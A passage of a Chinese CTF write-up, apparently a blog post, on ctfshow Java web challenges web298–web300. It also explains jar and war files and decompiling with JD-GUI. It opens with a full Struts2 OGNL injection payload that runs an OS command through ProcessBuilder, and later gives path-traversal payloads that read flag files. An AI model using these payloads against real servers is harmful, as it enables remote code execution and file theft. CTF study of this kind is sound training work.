%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image-20220724212434789.png

web298

看看代码,了解下和php不一样的地方

jar包和war包都可以看成压缩文件,都可以用解压软件打开,jar包和war包都是为了项目的部署和发布,通常在打包部署的时候,会在里面加上部署的相关信息。这个打包实际上就是把代码和依赖的东西压缩在一起,变成后缀名为.jar和.war的文件,就是我们说的jar包和war包。但是这个“压缩包”可以被编译器直接使用,把war包放在tomcat目录的webapp下,tomcat服务器在启动的时候可以直接使用这个war包。通常tomcat的做法是解压,编译里面的代码,所以当文件很多的时候,tomcat的启动会很慢。

jar包和war包的区别:jar包是java打的包,war包可以理解为javaweb打的包,这样会比较好记。jar包中只是用java来写的项目打包来的,里面只有编译后的class和一些部署文件。而war包里面的东西就全了,包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括html,jsp等等。一个war包可以理解为是一个web项目,里面是项目的所有东西。

利用工具 java decompiler反编译class文件
下载地址https://github.com/java-decompiler/jd-gui/releases

image-20220724214349500.png

在loginservlet.class中存在输出flag的语句。只要user.getVipStatus()是true即可。
然后跳转到该函数,发现传一个username=admin&password=ctfshow就能返回true

image-20220724214420558.png

payload:url/ctfshow/login?username=admin&password=ctfshow

web299

查看源码,发现hint:

image-20220724220409943.png

能直接读文件:

image-20220724221007830.png

读WEB-INF/web.xml,发现存在con.ctfshow.servlet.GetFlag

再读取WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
发现敏感文件:

image-20220724221301162.png

直接读取flag
payload:url/view-source?file=../../../../../fl3g

web300

同上,找到的文件是f1bg
payload:url/?file=../../../../../f1bg

标签: none

暂无评论